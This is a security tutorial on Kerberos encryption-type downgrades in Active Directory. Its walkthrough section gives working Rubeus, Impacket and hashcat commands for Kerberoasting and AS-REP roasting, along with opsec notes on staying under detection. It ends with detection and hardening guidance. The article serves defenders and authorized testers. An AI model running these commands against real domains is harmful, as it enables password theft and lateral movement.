Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Kerberos never sends passwords over the wire, but it does encrypt tickets and pre-auth data with keys derived from those passwords, and the encryption type (etype) chosen for that cryptography has an outsized effect on how attackable an Active Directory environment is. The single most consequential fact in AD Kerberos security is this: the RC4-HMAC encryption type uses a key that is *identical to the account’s NT hash*. That equivalence is why pass-the-hash flows so cleanly into Kerberos, and why nearly every offline Kerberos cracking attack prefers RC4.
This article explains the etypes AD actually uses, why RC4 is dangerous, how attackers downgrade ticket encryption to RC4 even in AES-capable domains, and how those downgrades chain into Kerberoasting and AS-REP roasting for offline password recovery. The punchline for defenders is that enabling AES is necessary but not sufficient — as long as accounts still *accept* RC4, an attacker can ask for the weaker ticket and get it.
Attack Prerequisites
Downgrade-driven roasting is a post-foothold technique. To perform it you typically need:
- Any authenticated domain account for Kerberoasting (you must be able to request service tickets) — no elevated privileges required.
- A target with a servicePrincipalName (Kerberoasting) or an account with pre-authentication disabled (AS-REP roasting).
- Accounts that still permit RC4 — i.e. whose
msDS-SupportedEncryptionTypesis unset or includes RC4 — so the KDC will issue an RC4-encrypted blob you can crack efficiently. - Offline cracking resources (hashcat/John) and a wordlist or mask, since the recovered material is a hash, not a plaintext.
How It Works
Active Directory supports several Kerberos etypes, identified by number in ticket and AS/TGS exchanges. The ones that matter today are RC4-HMAC (etype 23), AES128-CTS-HMAC-SHA1-96 (etype 17), and AES256-CTS-HMAC-SHA1-96 (etype 18); the legacy DES types (1 and 3) are disabled by default on modern Windows. The RC4 key is MD4(UTF-16LE(password)) — the NT hash — with no salt and no iteration. The AES keys, by contrast, are derived with PBKDF2 (4096 iterations) over a salt built from the realm and principal name. That difference is decisive: an RC4 ticket can be cracked at billions of guesses per second and needs no salt, while AES keys are far slower to attack and are salted per principal.
Because the RC4 key *is* the NT hash, three things follow. First, pass-the-hash equals pass-the-key for RC4 — an NT hash is directly usable to request tickets (overpass-the-hash). Second, any ticket the KDC encrypts to a service using RC4 is a crackable representation of that service account’s password. Third, roasting attacks that obtain such a ticket are effectively offline password-guessing against the raw NT hash with no rate limiting and no salt.
The downgrade problem is that the requesting client influences the etype. In a TGS-REQ, the client advertises which etypes it supports; if RC4 is in that list and the target account’s key supports RC4, the KDC will encrypt the service ticket’s inner portion with RC4. An attacker therefore simply *asks* for RC4, and unless the account is configured AES-only, the KDC obliges — handing back the weakest, most crackable form. The same logic applies to the AS-REP in AS-REP roasting. Enabling AES domain-wide does not close this unless each account’s msDS-SupportedEncryptionTypes actually *excludes* RC4.
Vulnerable Code / Configuration
The controlling attribute is msDS-SupportedEncryptionTypes, a bitmask on each account. When it is unset (null), Windows falls back to defaults that historically include RC4. The bit values are:
msDS-SupportedEncryptionTypes bit values:
0x1 (1) DES-CBC-CRC (legacy, disabled)
0x2 (2) DES-CBC-MD5 (legacy, disabled)
0x4 (4) RC4-HMAC (etype 23 <-- the dangerous one)
0x8 (8) AES128-CTS-HMAC-SHA1-96 (etype 17)
0x10 (16) AES256-CTS-HMAC-SHA1-96 (etype 18)
0x18 (24) = AES128 + AES256 -> AES-only (recommended)
0x1C (28) = RC4 + AES128 + AES256 -> still allows RC4 downgrade
<null> -> default handling that permits RC4Enumerate accounts that still permit RC4 (or leave the attribute unset). These are your downgrade-roastable targets — service accounts with SPNs are the prize:
# Service accounts (have SPNs) whose etype config still allows RC4 or is unset
Get-ADUser -Filter 'ServicePrincipalName -like "*"' \
-Properties msDS-SupportedEncryptionTypes, ServicePrincipalName |
Where-Object {
-not $_.'msDS-SupportedEncryptionTypes' -or
($_.'msDS-SupportedEncryptionTypes' -band 0x4)
} | Select SamAccountName, msDS-SupportedEncryptionTypesThe domain-wide policy that governs which etypes DCs and clients will use is set via GPO — *Network security: Configure encryption types allowed for Kerberos* — which writes the registry value below. Leaving RC4 enabled here keeps the downgrade path open:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
SupportedEncryptionTypes = 0x7FFFFFFF # permissive: RC4 + AES + more
# Hardened equivalent (AES only): 0x18Walkthrough / Exploitation
Kerberoasting is the flagship downgrade attack. Any domain user can request a service ticket for any SPN; the ticket’s encrypted portion is crackable offline. Rubeus explicitly requests RC4 for maximum crackability with its /rc4opsec and /tgtdeleg options:
# Rubeus: roast all SPNs, requesting RC4 tickets (fastest to crack)
Rubeus.exe kerberoast /nowrap /outfile:hashes.txt
# Force the downgrade path via unconstrained-free tgtdeleg trick:
Rubeus.exe kerberoast /tgtdeleg /rc4opsec /nowrapImpacket’s GetUserSPNs.py does the same from Linux and lets you request a specific etype. The -request flag pulls the tickets; recent versions honor RC4 by default for crackability:
# Impacket Kerberoasting -> output in hashcat format
GetUserSPNs.py -request -dc-ip 10.0.0.10 \
corp.local/lowpriv:'Passw0rd!' -outputfile spns.hash
# The '$krb5tgs$23$' prefix confirms an RC4 (etype 23) ticket was issued.The recovered ticket is cracked offline. The hashcat mode depends on the etype the KDC issued, which is exactly why attackers steer toward RC4 — its mode cracks fastest:
# Kerberoasting (TGS-REP) hashcat modes by etype:
hashcat -m 13100 spns.hash wordlist.txt # etype 23 (RC4) <-- preferred
hashcat -m 19600 spns.hash wordlist.txt # etype 17 (AES128)
hashcat -m 19700 spns.hash wordlist.txt # etype 18 (AES256)
# AS-REP roasting (AS-REP) modes:
hashcat -m 18200 asrep.hash wordlist.txt # etype 23 (RC4)AS-REP roasting targets accounts with *Do not require Kerberos preauthentication* set (UAC flag DONT_REQ_PREAUTH, 0x400000). For those accounts the KDC returns an AS-REP whose encrypted part is derived from the account password without the requester proving knowledge of it — a free offline crack:
# Find and roast preauth-disabled accounts (Impacket)
GetNPUsers.py -dc-ip 10.0.0.10 -request -format hashcat \
corp.local/ -usersfile users.txt -outputfile asrep.hash
# Then: hashcat -m 18200 asrep.hash wordlist.txtThe chain is what makes this matter. A cracked service-account password is often reused or over-privileged; a compromised SPN account with local admin somewhere becomes lateral movement; and a service account that happens to hold delegation rights or DCSync ACLs escalates directly toward domain dominance. Downgrade-driven roasting is thus a cheap, low-privilege entry into a much larger kill chain.
Note: The krbtgt account and machine accounts have long, random passwords, so roasting them is futile regardless of etype — the value of RC4 downgrade is against *human-set* service-account passwords. Also note AES tickets are still crackable (modes 19600/19700), just far slower; AES is not a magic shield if the password is weak. The durable fix is long, random, managed service-account passwords (gMSA) plus AES-only etypes.
Opsec: Requesting a large batch of service tickets, or requesting RC4 in an AES-only environment, is anomalous. Event 4769 logs the *Ticket Encryption Type*; a value of 0x17 (RC4) for an account expected to use AES, or a spray of 4769s from one host in a short window, is a strong Kerberoasting signal. Rubeus
/tgtdelegavoids some noise but the ticket-request pattern remains detectable.
Detection and Defense
Close the downgrade path and make the offline crack useless:
- Set msDS-SupportedEncryptionTypes to AES-only (0x18) on service accounts, and configure the domain GPO ‘Configure encryption types allowed for Kerberos’ to exclude RC4 — this removes the KDC’s willingness to issue RC4.
- Use gMSA / group-managed or long random passwords for all service accounts so that even an RC4 ticket is uncrackable; 25+ character random passwords defeat wordlist and mask attacks.
- Remove DONT_REQ_PREAUTH from every account unless a legacy system truly requires it, to eliminate AS-REP roasting.
- Alert on Event ID 4769 with Ticket Encryption Type 0x17 (RC4) where AES is expected, and on high-volume service-ticket requests from a single principal or host.
- Minimize SPNs on user accounts and audit which accounts have them; a user account with an SPN and a weak password is the classic Kerberoast target.
- Monitor for legacy DES (etypes 1/3) requests, which should never occur on a modern domain and indicate deliberate downgrade attempts.
Real-World Impact
Kerberoasting, first detailed by Tim Medin in 2014, remains one of the most reliably productive techniques on internal engagements precisely because so many domains still allow RC4 and still protect service accounts with human-chosen passwords. The RC4-key-equals-NT-hash equivalence is also why pass-the-hash and overpass-the-hash have endured for two decades. Microsoft has progressively pushed AES-by-default and, in recent Windows updates, moved to disable RC4 for Kerberos in stages — but real environments lag, and ‘AES enabled but RC4 still accepted’ is the norm rather than the exception, keeping downgrade roasting firmly in the modern attacker’s toolkit.
Conclusion
Kerberos etype selection is a security decision disguised as a compatibility setting. RC4’s unsalted, NT-hash-equivalent key makes it a gift to attackers, and because the requester influences the etype, merely *enabling* AES does not stop RC4 from being requested. The real fix is twofold: forbid RC4 per-account and domain-wide so the downgrade is refused, and make service-account passwords long and random (ideally gMSA) so any ticket — RC4 or AES — is uncrackable. Add 4769 encryption-type monitoring, and Kerberoasting and AS-REP roasting lose both their speed and their payoff.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:
Comments